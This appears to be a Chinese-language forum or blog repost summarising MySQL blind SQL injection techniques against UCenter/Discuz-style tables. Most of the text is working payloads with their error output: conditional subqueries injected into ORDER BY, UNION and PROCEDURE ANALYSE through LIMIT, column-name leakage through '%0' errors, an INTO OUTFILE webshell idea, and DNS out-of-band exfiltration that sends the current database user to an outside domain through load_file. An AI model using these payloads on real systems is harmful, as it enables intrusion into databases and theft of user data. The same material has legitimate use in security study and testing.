Mysql 另类盲注中的一些技巧小结
<p><strong>一、order by 的参数注入技巧：</strong><br />两种方法，思路都一样。</p><p>example. “select username,password from uc_members order by”.$_GET['oderby']</p>
<p>a.常见的利用方法：<br />1. select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));<br />返回错误： 1242 - Subquery returns more than 1 row<br />2. select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));<br />返回正常。</p>
<p>b.国外paper看到的方法：<br />1. select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;<br />返回错误： 1242 - Subquery returns more than 1 row<br />2. select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;<br />返回正常。</p>
<p><strong>二、limit 的参数注入技巧：</strong></p>
<p>a.order by之后的limit参数 的注入，因为正常的sql语句order by后无法接union，所以没有好办法，就一个鸡肋思路：into outfile '/www/root/xxx.php';</p>
<p>b.limit前无order by时的注入，那就方便多了，后面可以直接接union select ，随便怎么注都行了：<br />select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7<br />这里还有个技巧，使用procedure analyse可以获取字段名称：<br />select * from cdb_members where uid=1 limit 1,1 procedure analyse()<br />不过procedure analyse同样不能使用在order by之后：<br /> select * from cdb_members order by uid desc limit 1 procedure analyse()<br /> 1386 - Can't use ORDER clause with this procedure</p>
<p><strong>三、无法猜测字段时的技巧：</strong></p>
<p>在mysql5以下版本或者information_schema 无法访问的时候，无法猜到某个表的字段名，于是可以采用这个办法，在子查询中使用%0，报错获得列名。以ucenter的uc_members为例。</p>
<p>1.猜测列数：SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)<br />返回错误：#1241 - Operand should contain 12 column(s)<br />2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)<br />返回正常。<br />3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)<br />返回错误：#1048 - Column 'uid' cannot be null<br />4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)<br />返回错误：#1048 - Column 'username' cannot be null<br />5. ……</p>
<p>注：5.1以上版本不适用，字段必须为非空（not null）</p>
<p><strong>四、windows下利用dns解析盲注的技巧：</strong></p>
<p>如果盲注很累，或者页面无论and 1=1还是and 1=2的时候返回都一模一样，这个时候利用dns进行注入是个不错的方法，前提是win环境root权限下的mysql，利用load_file函数读取远程文件的思路。本地搭建一个dns服务器，然后将特定域名的NS server转过来。然后进行注入，并抓包。</p>
<p>本地测试了下（实际注入中单引号可以编码）：select load_file(concat('\\\\aaa1.',(select user()),'.oldjun.com\\a.txt'))，抓包成功获得select的结果：<br />29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com</p>
<p>如图所示：<br /><img height="152" alt="" src="https://img.jbzj.com/do/uploads/userup/1005/13145A5D45.gif" width="562" border="0" /></p>
頁:
[1]